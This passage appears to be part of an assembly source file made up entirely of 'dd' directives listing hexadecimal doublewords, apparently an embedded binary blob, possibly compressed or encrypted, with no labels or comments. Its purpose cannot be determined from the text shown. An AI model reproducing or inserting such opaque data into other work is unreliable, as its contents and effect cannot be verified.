0CCB5E5C3h, 860099AFh, 0F73A6E30h dd 0DFD878h, 3F4A44B9h, 0EF1BFC0Fh, 2DAB2300h, 0D3845B61h dd 5582009Fh, 3A058147h, 75002A35h, 764E411Bh, 1F36B960h dd 0CFC22Bh, 0ADBC43C8h, 1F0090DDh, 0D1FF068Bh, 0BB1B7Dh dd 0D729D091h, 0E872D5C6h, 0F71B700h, 56971058h, 4EF44823h dd 337F716h, 490D42E3h, 0C0E084B5h, 2881B47Ch, 9004EE0Eh dd 577D60FBh, 0A6C9B35h, 27EB2518h, 0A0BA8090h, 0BE0A311Bh dd 9385A600h, 29C57D2Ch, 38EA0BEBh, 44206C18h, 0C276BB15h dd 6C552A24h, 493D4A04h, 0E67B4981h, 0FBDD8C50h, 670B078Fh dd 0A01F3709h, 8703D77Fh, 0EF467E0Eh, 0A807001Bh, 0F8C657h dd 8DACC824h, 1CCC9AA1h, 620B5100h, 3D59C0D0h, 962E0767h dd 40A9EA09h, 0DFC81073h, 1A9B8309h, 0CF608026h, 0F351E18Ch dd 0D35430h, 71506535h, 0E1FBFD4h, 2A265AEEh, 70266068h dd 0D6032B00h, 2EC34Ah, 60221651h, 1341B797h, 0D1E9CB00h dd 0EE0B3FBFh, 0C725041Ah, 80178270h, 6C9C6F89h, 0B2A1CE05h dd 0C7C0E3E9h, 4CA422A5h, 4D0004D1h, 64133FAFh, 0BB005D97h dd 82CC6FF8h, 6B7AB7h, 1E98B3A0h, 7156228h, 4588AE07h dd 0C2916C5Ah, 49CC9418h dd 3BF40025h, 0D47B9EFEh, 0B1004F5Dh, 2B1CD87Ah, 0F35E00Bh dd 0A4C1480Fh, 4A6377E0h, 0CF399791h, 6ACB80F3h, 2C994E5Ah dd 3B41000Fh, 0CD1D2E52h, 0DC006327h, 5805C05Dh, 98F5E156h dd 0A7500A08h, 13C811E4h, 181840BCh, 6827E53Ch, 517F1D00h dd 0D4FD1C86h, 0D1DD18EBh, 0B5653803h, 0E3F74900h, 0AADF1D06h dd 131105CDh, 7D66877h, 0F0EDA8C4h, 0F54291FBh, 8D758F26h dd 825BC00Bh, 4869EFB0h, 0F0376828h, 71C9F211h, 14250071h dd 87EACB58h, 85E40C5Fh, 0CE88A800h, 5C211A5Dh, 0C2F62C86h dd 822D408Ch, 0AE003A02h, 152BADECh, 7BFD0B68h, 0EB89001Eh dd 0E6B8C69Fh, 0CB892A7h, 0DBDDD800h, 0B677BA3h, 75FB39FFh dd 0C25AE780h, 582E4D2Dh, 583A400h, 4E233282h, 7AD000DEh dd 0EB45C286h, 0B401DDB1h, 21342CEh, 87E4BF96h, 0CBD20115h dd 0DD7B701Dh, 0E822CCBBh, 62404A1Eh, 5147AE00h, 0B2745h dd 8D6CFEBDh, 12B0F81Dh, 0BBE836FAh, 48C85C24h, 0A1D1CD00h dd 7516104Dh, 89E124DAh, 0C70700F0h, 191AD28Dh, 0EE3A0800h dd 91846DACh, 5B700078h, 0DD4DB60h, 8B0EE42Ah, 0EF75087Ch dd 0A6982137h, 0E1F4D08Ah, 36AD3E9Ah, 2D3CA884h, 48FA01C8h dd 5072A61Fh, 9091A525h, 0CBB470F6h, 2070AA25h, 759C8144h dd 50777FC8h, 65901Fh, 0B964FB82h, 4BDBC701h, 8C7D3EC0h dd 3CF9E5BBh, 0FC50522Ah, 125C006Ch, 0E69088A5h, 0D83E02E8h dd 0D62A0353h, 0EA0978D9h, 492C6057h, 0DD50006h, 0DB93C026h dd 69383524h, 8ED2000Eh, 310295D0h, 9C665CACh, 0DC1C4A00h dd 0D7E79D8Ch, 82F5FB00h, 7B08578Fh, 0C546009Ah, 0B2F6CAEFh dd 1754D1E7h, 0E324A0ECh, 0BD0081D4h, 0A20B3DCh, 0DFDA0050h dd 66B24F7Bh, 811C3FF0h, 118046FDh, 73E5A644h, 0CFC407D2h dd 5F61BDBBh, 26E0C320h, 1F72B789h, 7D60FD00h, 787EBA17h dd 3F0612C9h, 0E55C001Ch, 7F34C840h, 9D802094h, 0F1E8D3DAh dd 98B2000Ah, 0F74077Dh, 4E00C476h, 9E13C643h, 97EB8Fh dd 0EC68A218h, 0AA737B01h, 0F995F150h, 33D88E00h, 878AE364h dd 622D0027h, 45348847h, 0DD2ED7F0h, 0EB054C03h, 0BEC0C6C8h dd 0BB57EFh, 0BE4C2A8h, 0ACD9BA46h, 0A53A403Ah, 0A2F008A5h dd 561FF200h, 875A55h, 926FFEF1h, 7D9E126Ch, 0E7E3F900h dd 2AACEC2Bh, 810599Fh, 9632F600h, 4D50BC49h, 3F038E73h dd 7C62F452h, 6DAFF8D4h, 1420EFE6h, 43280A32h, 0B55A0Dh dd 871918EBh, 72B8B633h, 68792C00h, 58A2BC77h, 8B5D3F37h dd 2BDB3605h, 2114A402h, 8031C43Fh, 94C35E52h, 9A0197h dd 9DFF227Dh, 2730A58h, 0B102BC76h, 5653C152h, 9CF8E8F1h dd 517E0041h, 0F89E0148h, 9248376h, 6F00B88Bh, 0E2F5ECDFh dd 90B491h, 19ACC5E4h, 3D0096CFh, 352C4388h, 53ADA0h, 25CCEBEh dd 0EEE1038Fh, 63691D01h, 7E057068h, 2482E2C0h, 5B8C9D6h dd 0C061C0F2h, 57830834h, 8C7274ECh, 68264500h, 0D86CAF50h dd 0A8A8A828h, 5FE33C98h, 0ABEBD680h, 4D0363B6h, 0D2904501h dd 788A8934h, 0D8F6F8h, 0C4D5DF3Eh, 777029B4h, 0E2386A07h dd 4BB039DCh, 5C1E2Ch, 2E996578h, 0BA3412B4h, 0DC1DD200h dd 0AAE34658h, 0AC5200EBh, 74762690h, 83001C01h, 0B5A64F37h dd 794DBD77h, 0C1300084h, 610A7CC3h, 0C700FA9Ch, 0A069E662h dd 56A86FDh, 0F4961622h, 0AFCE008Ah, 0CEA6C31Eh, 886C071Fh dd 1352BA80h, 2B7903h, 48F495FCh, 0E0027499h, 80445700h dd 0D5928E34h, 0BC760056h, 35A4476Fh, 0AC00E11Ch, 1636A04Bh dd 7FB6E7h, 9BFE84FBh, 0C7812C09h, 973B381Fh, 3005562Ch dd 8C076DE1h, 6EE1E91Bh, 56C4FAD3h, 4E440378h, 28E29D57h dd 6D088AD0h, 0ECFF6200h, 0FE11DACEh, 0D8840047h, 372E177Ah dd 4009913h, 0D7944970h, 1A890ECh, 1CEB739Ch, 0C43045D9h dd 7B0FBD2Ch, 20E96BFFh, 516F12D0h, 0B90F1F28h, 0A4A6004Dh dd 2D5984F7h, 0D48D9200h, 0DCAF5B6h, 0D1184817h, 9110A600h dd 2D4612C0h, 85D8C900h, 43838B7Bh, 0CF7003ABh, 0BF05AC63h dd 0AF80F998h, 7A222F05h, 0B30031A4h, 700CADB4h, 27E80EB2h dd 946090A1h, 5FB6A21Bh, 0B8467F00h, 0D5D034DAh, 0F8715Bh dd 47A15E32h, 80BEC445h, 0F3043F00h, 6BD3D581h, 0C2E0007Ah dd 5AEB6E4Eh, 8D00BBE6h, 78D09F66h, 0DBA30Ch, 0BADB912h dd 0A855C03Eh, 5A9AEE00h, 8E895C85h, 1AECFB1Ch, 0F8B107B9h dd 30059963h, 44B5786Eh, 9D75510Eh, 0EC01CC4h, 7D532713h dd 468A0B2Ch, 3600F7A2h, 0CBF5FC95h, 17F00750h, 0C86B4700h dd 0E0C1ED8Fh, 1FD79B1h, 0B7792BEEh, 0D80A3BDEh, 343AA887h dd 0F30D079Eh, 58F0B6F8h, 6F513Dh, 42CA5EFEh, 6874D7CDh dd 163EB44h, 5DCFF479h, 209ED40Fh, 0C9003874h, 33B46BEBh dd 0F123F5h, 470DE6BBh, 7A55C6ACh, 82ADA600h, 722BE584h dd 0BA0700DAh, 9BBE735Eh, 0A803C791h, 3894FC90h, 8804C31Ah dd 1565DE2h, 9192223h, 0FC500F89h, 0FA505E73h, 1A00ACB2h dd 875F48DCh, 0FE14CA54h, 0B334007Fh, 0B9F6D31h, 9D00A897h dd 83994A44h, 8E1DA7h, 0E08A77E2h, 47115B71h, 9E69B43Fh dd 4800BA51h, 0CC5E925h, 0C27900DBh, 1E934DA6h, 52E43ADFh dd 0EAD8D900h, 7BF6290Ah, 90CE00A3h, 0D34EF024h, 0A00082D1h dd 3E882F59h, 0D6F1CF04h, 0CD940118h, 0EC64CED5h, 9F18F913h dd 0D268140Eh, 4CC70019h, 2B4DC371h, 0A9008D1Dh, 58D43729h dd 2F53202h, 39C2095h, 0EC8008A7h, 796D7A89h, 0F612B90Ah dd 138EE2Eh, 0FCB0AAB4h, 80C3268Fh, 9F951h, 70997157h dd 0C19447F3h, 809D4000h, 0B123D62Ch, 60A2483Ch, 59308C00h dd 69B8843Dh, 5FE0731Dh, 0F1BA47C0h, 4A5D16h, 11622E41h dd 89A9A6DFh, 0A42B6F18h, 1ED1A890h, 80AABF0Ah, 5A92C857h dd 0EA03D074h, 0FF148F7Bh, 0CB88E0Bh, 71FD87A4h, 923CF439h dd 5AA79DFCh, 61EE9306h, 0BA1A3E18h, 0E6D5DE00h, 0A384C97Eh dd 0FBD4800h, 59610560h, 2850EFDh, 0D66A0Eh, 0AF0DE92Ah dd 0BF0009A7h, 83F7D96Eh, 0A02722Eh, 0C97AB1A4h, 6A55809Ch dd 0FCCAFFD0h, 80902F6Fh, 2DF2BB8Ah, 0D6D40E99h, 2845F791h dd 2B1000CAh, 0B1A26F9Eh, 49C0327Bh, 0E0D05BCBh, 7A28C149h dd 0F027CCD9h, 4800BCB5h, 0E321551Fh, 606BE61Bh, 75094E56h dd 6200AD82h, 472A6FB5h, 0D823C2h, 193D5C5Dh, 5EA81B4Ah dd 735BB200h, 0E5155A90h, 1E873B85h, 0CA808EB9h, 1FF566DEh dd 5300B92Dh, 505E38A7h, 705A7D14h, 74CE5C2Bh, 76FC3A07h dd 0D0F23025h, 0E972BD90h, 0D20090B8h, 0C1A9D47Dh, 0FE0967h dd 0D55D5EB6h, 0E77A3720h, 0EDC9EF00h, 76797F23h, 0BC5F3CABh dd 7D50007Bh, 0C91FAF82h, 0B158A318h, 85E91516h, 48129E4h dd 0E857DD63h, 7536995h, 3306E0B1h, 0C0E4C73Dh, 5CF37D93h dd 0FAB83C04h, 4FC0A6CEh, 3A2CC437h, 7C801AD3h, 943A1C0Bh dd 0A9002BDCh, 0B0848690h, 91B5BB2Ch, 8E680728h, 7F91A0EDh dd 873BCF92h, 0E6074F0h, 0ECE65E21h, 34261EAEh, 14B1DF10h dd 8B8020C4h, 0A7912DEDh, 2BFB208Ch, 0ECE35D01h, 0FF964E64h dd 7A8802C0h, 1C6128ADh, 850801ECh, 0CCD54927h, 0A01EE18Fh dd 0DF1CCEF8h, 78D20E14h, 0ABA99440h, 0F02F7F1Bh, 0B0F507F1h dd 0F01ECB36h, 0AFC0613Dh, 0F7C3430Ch, 0AAC302Eh, 0E079D123h dd 33BA7320h, 3013B730h, 56206883h, 8D2ADF0Dh, 0C403C8D0h dd 0F7E66FC1h dd 4D72D0A2h, 0BF08CC4Ah, 39006721h, 656E3A6Fh, 0E8B069Ch dd 4D90F464h, 91A407D0h, 9A6926Bh, 76200611h, 7065C7ACh dd 0B56F7A00h, 36096D03h, 0DB751Ah, 0B0CA2DBCh, 593462D0h dd 0A39A1410h, 512612h, 7D5E1AD0h, 41F8921h, 19AC035Bh dd 9D0C93Bh, 16632BDh, 306386DFh, 0CC00C822h, 99A809E1h dd 1C0E6A0Ah, 8C6FB2B1h, 6F32120h, 0F93EB4B8h, 3F007190h dd 0BDE5E67h, 1638F50h, 0FFAAEFE2h, 0C52BB7CDh, 486ED11Bh dd 3F8CDC9Ch, 0F2916FC0h, 0E29E4Ah, 36F3864h, 8420EDF7h dd 9D1EC901h, 369B42ABh, 80E55191h, 0F7E46FA3h, 0A1448C92h dd 6F3B0089h, 8CA0D333h, 56009874h, 15859995h, 8CED45Ch dd 0A42D143Ah, 0C902A11Fh, 607AA789h, 0CC8AF268h, 0BFF9A008h dd 0C97D3Eh, 7B69EAA5h, 0C9A06A6h, 116B43B7h, 0DB1275F0h dd 5C06BA48h, 46B0727Ah, 6FBF02F1h, 47B2F2B8h, 378D031Ch dd 0F780D56Fh, 0EB12F021h, 34039363h, 0CA12D9Dh, 74F41B58h dd 0F5185531h, 9118CDA0h, 9B75130Eh, 0F69C09A2h, 0E4E0B82Eh dd 1A62431Fh, 3DE25F00h, 56A3E560h, 99F0094h, 7072B1B5h dd 0F3044A3Fh, 0BE2C92CEh, 88DE898h, 0B79183EDh, 4B21D8CFh dd 48EC1DE5h, 0BBCC80B9h, 0C022695h, 31BD651Eh, 246430DCh dd 82C388Ch, 0A27C3009h, 0D0B1F3C0h, 0AA4A1C00h, 2AC9FC1Dh dd 0A30300AEh, 60A18A35h, 0DC0036E0h, 32F5E8BBh, 6F72CF6h dd 9185C4D0h, 0A80A88EFh, 88CEA91Bh, 0AF404F8Fh, 0B1850215h dd 0CFECA028h, 19A8E054h, 398F674Ah, 53588739h, 788059F2h dd 11D6EBEh, 0C3E4C035h, 80342F85h, 152357B9h, 2461DF51h dd 5A0C152h, 0C064D42Ah, 0A81AB7E3h, 0BB8169C1h, 398C1C9Ch dd 49E97414h, 0F0D4DE00h, 6005CE70h, 0C083008Bh, 7D76AB99h dd 4F1F2B35h, 0E4E8C4D5h, 185EB73Ah, 8F483244h, 0F6BA01B4h dd 0EA8361Ch, 5E38917Fh, 78C87705h, 5864D073h, 160A90EFh dd 0D00A3E91h, 34B7BE80h, 62E99DB4h, 0D3EF60B0h, 7DE27C45h dd 0A75218A2h, 0CCE93B3Ah, 0EC4344h, 0E235F58Eh, 26101595h dd 8120B737h, 12CCF48Ch, 0A5298022h, 0BCCE4188h, 5E40595h dd 8026A747h, 52ED01D3h, 2F0F1A01h, 98D12BF3h, 0BD38B882h dd 1844F956h, 90CBB000h, 0D5ECDE7Dh, 15BE07E8h, 0D0E567A4h dd 2F2C9729h, 4C89ED3Eh, 1DAC8530h, 60EB844Eh, 0B6E7E527h dd 0C07F2655h, 0CA217484h, 650B8086h, 5AA8C11Bh, 0EECD220Ah dd 50B2DC68h, 0B4C4307Eh, 69C2F4A0h, 8C2628A9h, 50BBF221h dd 540503B3h, 4F96FA88h, 194AB5B0h, 0CE07F8A0h, 7D43956h dd 0A6E6C962h, 407EC448h, 0CAC97968h, 0F24C901Dh, 64A34096h dd 0AD5E6300h, 27C0AAEEh, 0F5E9005Fh, 38A18DC9h, 0C2C959Bh dd 38A8C00Eh, 8BDC302h, 513D7C36h, 0B00A0034h, 16357E3Ch dd 609D4B3Eh, 906C9130h, 0F854B277h, 185760D1h, 0B34F4385h dd 0DF853C91h, 0E87E690h, 0C0FBD322h, 0B22CCCh, 89E451B4h dd 0C6F7CD30h, 35C9E009h, 11F49706h, 0B46A80BFh, 16334F8h dd 1560A284h, 0BB33E5E3h, 0E7450C90h, 2C01A876h, 512C3CB3h dd 89618E6h, 9AF7E16Fh, 8A40BAC4h, 0F91E6F4Eh, 95542272h dd 930096B4h, 495AA72Eh, 71E88Bh, 0CD5E0F0Dh, 819AD3D4h dd 10B8FD5Ch, 8AC0B6CFh, 0DF8F80EDh, 0B0B0914Ch, 0ECE24Ah dd 0BD49266Ch, 82EBC03Eh, 806CD648h, 7B4E220h, 0ABD80B7Dh dd 44036747h, 0D7B73C84h, 90377494h, 0EB147338h, 58504500h dd 791FB60Ch, 3CA95D30h, 0A2929784h, 2BFBE108h, 1F06010Ch dd 69134399h, 40AC4C48h, 776FD981h, 40BC71FAh, 0E5DCC545h dd 1409DE0Ah, 2A809C8Fh, 2163A42Fh, 9F6D015Ah, 805270EEh dd 0F803C555h, 0A209989Dh, 11F1DEE7h, 0E51010ECh, 55005027h dd 535DFFC6h, 98C22DB2h, 0C41013ECh, 1A28092Bh, 0D5899422h dd 57748100h, 36330EC5h, 2DE0A979h, 0B1241BBEh, 9D7EC705h dd 64CA711Dh, 0A201E223h, 3AF2C56Fh, 8E89A318h, 40A6FF0h dd 157E5C87h, 7AEC98FCh, 5E0078B9h, 0D6EEC173h, 8CEA00F5h dd 649721A0h, 5F7CB5C8h, 0C7B6B012h, 3C1C0Bh, 359DF60Ch dd 0B9A890B3h, 20E20000h, 0DBE3FA30h, 2A3C47E8h, 0A7880201h dd 411F1D43h, 0F458B580h, 60911233h, 80E4D48Eh, 7E190EE1h dd 0E9B7A802h, 481E312Eh, 28C7A71Ch, 1C95279Ah, 81F1FA9Fh dd 0F82C1FFBh, 0F866EA2Fh, 80D78E27h, 91276494h, 0F6D80008h dd 96E20FA1h, 0EB0318A7h, 0B1D05DEh, 0A515C858h, 8DDF18C0h dd 0E6148973h, 5B78A402h, 0C8E189BFh, 0E0F01708h, 55282A82h dd 3A9406B4h, 71BEA71Bh, 873B524h, 0B7AC4C82h, 0B9CC60D9h dd 847516A7h, 0D4241417h, 74090FC0h, 9600EA9Fh, 4F8091C2h dd 7C2F6053h, 30015CE8h, 908C024h, 1C990804h, 0A900D37Ah dd 21BFEFAEh, 2696DC31h, 52DCB189h, 79C4B065h, 0D4ABDE61h dd 0E5B8286Ah, 15129398h, 548207A0h, 0C9803037h, 32A79811h dd 0B251778Ch, 1901C9FCh, 0B59236EFh, 9DC88A57h, 0C871629Fh dd 80580D7Ch, 61C5F20h, 97B4DCA5h, 31EB205Eh, 0B25C72C0h dd 336230A8h, 8ECE3C3Fh, 24C56591h, 14D3FAB0h, 0D6F7C885h dd 0DFA5006Eh, 4D98AF18h, 0F01E0AFFh, 0C4023E5h, 21AE1D94h dd 5BDE2CBDh, 1B5D60FCh, 2800D752h, 2BE0353Dh, 0ED5832h dd 0AADEC10Ch, 80BC4457h, 0AF707202h, 5191B068h, 2BFB7864h dd 249E2486h, 841752FCh, 4780A311h, 0A797CDB6h, 34214B12h dd 0B4F3C004h, 0E80B1099h, 30A3A084h, 49F3F5h, 38608930h dd 53158BFBh, 0C8C85C2Eh, 48B7850Bh, 0EB9EC20h, 87292EC7h dd 0E4202169h, 0D2FF9E65h, 9794300h, 5FDA3915h, 0BEFFEC3h dd 0E0E3015Dh, 86E51C8Fh, 0F064D97Ah, 9910B509h, 0C9C46AE2h dd 0B7F60086h, 0D567B4h, 32D743BBh, 0D09C531Ah, 280398D6h dd 2309C903h, 81004EF9h, 1AA78DCBh, 4C30426Ah, 6BF865DFh dd 0DB58C00h, 14B6C360h, 0CC59AF13h, 209E0A17h, 0DBA6F32Ch dd 70BB5531h, 0B9841930h, 804D8C8Bh, 5E3A448Bh, 0B17AFEh dd 73072100h, 5EB9523h, 8FBEA12Ah, 0B71C012Bh, 0F0016F35h dd 0A82AF814h, 8C98C4AAh, 9929FA60h, 31610D3h, 0F15B6028h dd 3BC3F3DFh, 0A8EAF8C8h, 1D00BCF4h, 0FF8BB42Dh, 3FA9FC5Ah dd 79A51753h, 0CA081417h, 0AF304086h, 0B0F01FA1h, 9D89CB00h dd 0D72A251Ch, 50C900ECh, 40CE5235h, 1300C0BAh, 178C8932h dd 2F092h, 4D71442Bh, 9B1A426Ah, 736FCA00h, 0DC05824h dd 3738C70Ch, 202EC1EBh, 46FFE434h, 5C0FEC07h, 0FD90231Dh dd 0BCC572h, 3FAB2014h, 6ED1601Ch, 8D9CD903h, 0C1B315Ch dd 0F8F42368h, 0E309A748h, 80214615h, 0C10E19F6h, 0F870CCBh dd 0F868C578h, 0A1C0450Ch, 0BF805Bh, 0BC73672Ch, 1C2393FAh dd 870049DCh, 7675890Eh, 9F3F196Fh, 8021083Eh, 0E2FDB21h dd 0B0C1EBh, 5E345AFEh, 0FA9B31CFh, 0B56D1C0h, 60049DDFh dd 0CB7610C1h, 0FF6937F5h, 82448021h, 0C3673E3h, 8F7B1DDFh dd 21C0F208h, 5B829E39h, 856F05EDh, 7A4199h, 946A5A4h dd 0CE0FA4B7h, 66E8186Dh, 30982233h, 80A1F326h, 72002F79h dd 4973B69Fh, 3F6E0F51h, 0DA00CE53h, 2AA0C7CFh, 0EC00EAACh dd 3B03BE58h, 20CB2B39h, 0F800CE10h, 955B886Ah, 0EFAB758h dd 0FDFF400Ch, 8321D38Ch, 0A230F000h, 0EFEE807h, 0E9B00046h dd 1940CDFDh, 0E31917D2h, 0D058021Ah, 38CDF318h, 2C125058h dd 9B8A20D4h, 8301CA5Bh dd 26B09DA5h, 2C2388E7h, 60CF5064h, 29A130F4h, 8549758h dd 7F002B69h, 13025B9Ch, 0DA0078Eh, 76CF19E9h, 70041DDh dd 8CBDECF4h, 3C9FDAEh, 716EA4CCh, 0F5B08191h, 5E71C21Ah dd 0C0CA78C8h, 58945B8Dh, 80908F53h, 0BA30F584h, 492F0E18h dd 0D495A355h, 62D17000h, 0FB8ECE3Ah, 57266100h, 12C53D04h dd 0CDEEDDh, 0DE6225E2h, 0C42CF45Eh, 0DF0D9904h, 24821A45h dd 822830EFh, 0A673E511h, 3B80FC88h, 0C85E8290h, 995A0CEFh dd 0A648D0E5h, 96575C0Eh, 10482946h, 62A6FC8h, 8178FC8Eh dd 710E28DAh, 80D068D5h, 65D203F9h, 0E08EF94Bh, 3EE0BFCAh dd 8AF4DC7Bh, 72004679h, 4CAC2523h, 0EE5AE37Ch, 4079A2h dd 737E0BEBh, 0DF3FDD75h, 0B8240C90h, 1F80A8DCh, 0F6F069Ah dd 7F300D3h, 0BB9D2634h, 687F088Dh, 0D575AF02h, 471AC747h dd 2ED46200h, 7C32318h, 51773A0h, 0F04526C1h, 9EA8B150h dd 93023643h, 8E73C682h, 80CB6330h, 82009B38h, 4DFCA9B1h dd 45AEA3h, 4AC6B714h, 912A10E7h, 0FE6CA51Ch, 2CF4DF0Fh dd 0FC89C2h, 0DAE5B9E4h, 0A2CA111h, 9A8E4A07h, 4E30F329h dd 1B8D06Fh, 1E999118h, 5042A32Bh, 0B9CCCEB4h, 0B2C4270Eh dd 0DABFE6ECh, 28364908h, 0B9D4FF00h, 0F748E142h, 6A2EF604h dd 18C062B1h, 39C45371h, 5B85F9F4h, 0E3DA699h, 0CE6FBECh dd 411D18EEh, 39CC374Fh, 18571017h, 28CF4999h, 0DC010DA2h dd 6D2538B2h, 2BECD265h, 9AFD2696h, 0EA0C098h, 3E4672F4h dd 0E0002422h, 0AFB50E28h, 841232h, 0D6832B4Ah, 0DEE7A7D2h dd 600FECA3h, 0C146214Eh, 0D91FE597h, 3A1818A6h, 22CDE890h dd 0DC9E00F2h, 4B550C9Fh, 11148B89h, 26982C47h, 465E6438h dd 0EF4F03D4h, 0FB0F23h, 33D99560h, 0DD5E5242h, 6CF76700h dd 0D7F7D8Ah, 743C06A8h, 0A0DB5BE5h, 99582905h, 9801E2A4h dd 0FF305373h, 2C04A445h, 1B00CB56h, 0CAB4615Dh, 9951B200h dd 0EE1F340Bh, 460A12A2h, 3F600074h, 434165FCh, 9731ECA8h dd 7120A0A9h, 0F18AD0ABh, 6568D562h, 0CA70685Dh, 0D3817E5Bh dd 10343A81h, 0C8C3CB47h, 90EFE7D3h, 0AC46655Dh, 0DE1BB875h dd 0DA49F199h, 0A848444Fh, 0A4249BA4h, 19F40098h, 0CB893FDh dd 7204357Dh, 0A158FA46h, 8C3B7CC0h, 0F3CB2990h, 822C014Ch dd 194671C1h, 943F20DEh, 95049182h, 7766E030h, 99DE080h dd 8FF03AA2h, 2FDF397h, 93DE25A2h, 91282C83h, 0E886F4C1h dd 6518CE8Ch, 0E9B93F40h, 29082E68h, 8FFA0992h, 0EA36030h dd 9672F511h, 0DF802388h, 0A9560E2Bh, 5431009Dh, 83CBD8EBh dd 5314F5E9h, 9F8D590h, 30281EA4h, 7DB9C9DCh, 10DA4692h dd 0EE0021C7h, 0E791B9D1h, 1B096789h, 0E196BD9h, 0FC6878h dd 2993099Fh, 5C9B5DF5h, 0AEA2D50Fh, 803BDD8Ah, 23315A3Dh dd 7181609Eh, 794D0051h, 0BAF1E2CFh, 0B81436DBh, 817894FAh dd 758E0E8Ah, 102631CAh, 20E32DAh, 443BAE22h, 3FC01419h dd 4E2CE550h, 46DEF0CEh, 0D58400D3h, 2B28783Eh, 0B5750C8Bh dd 0D850CB37h, 36B95317h, 1346D020h, 43E502BEh, 0C50CAB67h dd 5FC1A540h, 0D0987098h, 0EF2CB890h, 0C90D9421h, 8C001876h dd 9B89820Ch, 59896F8h, 2F3F578h, 0EFD59DB0h, 70203469h dd 0B8002138h, 6F54B9D7h, 2AEBA603h, 1CD8DA4Eh, 0D6908Eh dd 7065D49Ch, 9B00C7E9h, 0DAFDCF40h, 91D8C96Fh, 1860D1C0h dd 0ABC00279h, 0DB1162D4h, 955894A0h, 0A4000E8Fh, 0D682BD6Ah dd 76B6486h, 683D1159h, 48A52245h, 0DA15C894h, 18E4F2BFh dd 9489F337h, 0F0520E18h, 92AB2393h, 0E017A8BAh, 6E94DF11h dd 78906F03h, 71A803A9h, 0EF483443h, 12104884h, 586304AFh dd 41E613h, 0CC751AB4h, 4CAA38Ah, 80F7E607h, 601E3FFCh dd 92583E34h, 7BBD5C78h, 0BFC21B00h, 9487B837h, 0F3FBB404h dd 0B888F684h, 0BE1F8C3Dh, 0D96E29BFh, 0B825CF12h, 0C6F990D0h dd 70CD2EB9h, 0E2BB0828h, 82C05C00h, 0B040C58Fh, 710C916Ch dd 1501807h, 0BA4ADC82h, 601AFB6Bh, 488C32E0h, 0C41465C3h dd 30884CAAh, 0F058B8h, 2C836ED3h, 0CEEC308h, 0D05C4373h dd 0C03C7CE8h, 0D8D42CCCh, 0E812E985h, 2400EC5Eh, 0D15DF187h dd 36911EF6h, 4E1C80CBh, 0A140BDADh, 0C4A35101h, 907765A7h dd 5C791FD0h, 9F04389Dh, 6F974B15h, 12A88000h, 615A1760h dd 537C7120h, 5D04D0F5h, 205BEB2Ch, 0AC176731h, 0F03730B8h dd 0FFAA80C9h, 702F3800h, 824357F5h, 0A82D555Ah, 34F1AC22h dd 3F0C22h, 0D881AE99h, 0D0115E9Ah, 0CE004092h, 120C758Fh dd 7E71BA86h, 8491011Dh, 0E099CF81h, 0FD2430E9h, 0E8426A41h dd 822D30F0h, 3E71B812h, 4200B88Bh, 0FF438295h, 0CB2B45Bh dd 0E022804Bh, 78B45939h, 2862B68h, 0A0C945E5h, 0CCC0A1F5h dd 0C182CB0Ch, 0B8508838h, 3DBF39A6h, 0AACAED5h, 40FC1E7Ch dd 0AA029007h, 3A7A355Fh, 0DC25CA4Eh, 3E3781Fh, 72EA0E86h dd 3EE4CEB5h, 9A0E03DEh, 0E09BD409h, 798990F0h, 1B180EEFh dd 2522A3ACh, 0D86C4B5Ah, 0BC30A448h, 9B178C33h, 0F8203CFAh dd 0F02BD1Dh, 0A641798Ch, 0C24F569h, 0BFB8602Fh, 92C4082Bh dd 0CB42CF61h, 0E1030021h, 4F38D5B9h, 7E20B9Fh, 15E50049h dd 25CFA7ECh, 38022540h, 909F47E5h, 7A800D11h, 9CF9C8FFh dd 0A61881E6h, 57211724h, 0FA7C0792h, 0D0AB2D64h, 668F8C91h dd 0DA03C498h, 0C76A3481h, 68B100DBh, 10B0EA2Ch, 2D0E9ECDh dd 634D8AC3h, 0E9596ADCh, 7870CE9Bh, 61F66024h, 90D33F88h dd 0BAB61100h, 6FEBAB2Fh, 0A0B907F2h, 3B8FF493h, 0FD88C497h dd 0F07F60CAh, 1E09D7ADh, 80CDE772h, 2279409Ch, 0C9533DE9h dd 0DC909CF5h, 0C5E69C0Eh, 5845C1D7h, 0CC60ECFDh, 0AB8D7273h dd 0F950D98Ch, 0DC091981h, 32159B11h, 5262001Ch, 0B723BA2Dh dd 7BC5034Dh, 0EC1AC4B1h, 284B32C2h, 0E54225A0h, 1C926B48h dd 0EEC06F6Eh, 794335F5h, 0A4F9007Ch, 9D545E04h, 709D55B6h dd 0ACDA2420h, 99C0407Ch, 0CCA8DDB8h, 0AB005C6Bh, 0C99C4776h dd 338E1F2h, 2BEFD369h, 8B955E99h, 0C036C84Ch, 0E5472537h dd 8A1341F0h, 1800789Dh, 0F7A409AAh, 114C9027h, 23CDE979h dd 0EA10B9Dh, 8E86A484h, 29E507DCh, 0D341060Eh, 8E44A88h dd 2E57E054h, 481C488Dh, 2F3897CCh, 2B6C1008h, 0E10915C0h dd 0E200F05Fh, 36BC629Eh, 2CCC915Ah, 50C45D8h, 950D6053h dd 10DC2FDCh, 4DC02236h, 0D6F5B25Dh, 82152425h, 80B0973Ch dd 0E869B6CBh, 0BEA839E3h, 0D05E4D80h, 5CC73B5Fh, 0D1B07012h dd 8D97E843h, 0A7F0AE2Ch, 60D24458h, 1872DB76h, 19C3131Ah dd 3020237h, 5AE91922h, 1AC0E10Ch, 0EEB4BA10h, 8D72D40Bh dd 5C58608Ch, 0C1FB1848h, 0C03F90C4h, 8D615B0Ah, 0D70294CBh dd 606D28F3h, 0C0EB679Ch, 0A5DE3549h, 30B669D2h, 900AF181h dd 0A094BE1Bh, 0D732F89Dh, 9521CBD0h, 5C3D5BACh, 110E405Ch dd 0D808E72h, 0E093F3A1h, 41D15C06h, 1618D73Fh, 3AAAF51Dh dd 13623B8h, 57B37583h, 80C86C7Bh, 9A062440h, 0EBAD0004h dd 57FF98BAh, 0B8009D9Bh, 8A8708AFh, 4FBD8E29h, 10C42E90h dd 0E3C0CAFCh, 0F89D0B73h, 0AE012C90h, 685C3759h, 0B0476DE6h dd 6A14E5F7h, 0D0F324C0h, 9EC7252h, 63BD70D2h, 2051B007h dd 6FF8156Ch, 0B21F467Eh, 330F864Dh, 0DC926234h, 5C44681Fh dd 0A7563058h, 4E25FD58h, 91A2400h, 0EB655AEFh, 982C5457h dd 3C162A2Ah, 5E309EBCh dd 1D6CEF52h, 0DE895581h, 6520E897h, 89BCB45Dh, 410A531h dd 0B0B638B9h, 69872ED6h, 49F91824h, 5A16D70Fh, 30CB905Eh dd 30CB6084h, 5D2EDF1h, 4B9D9404h, 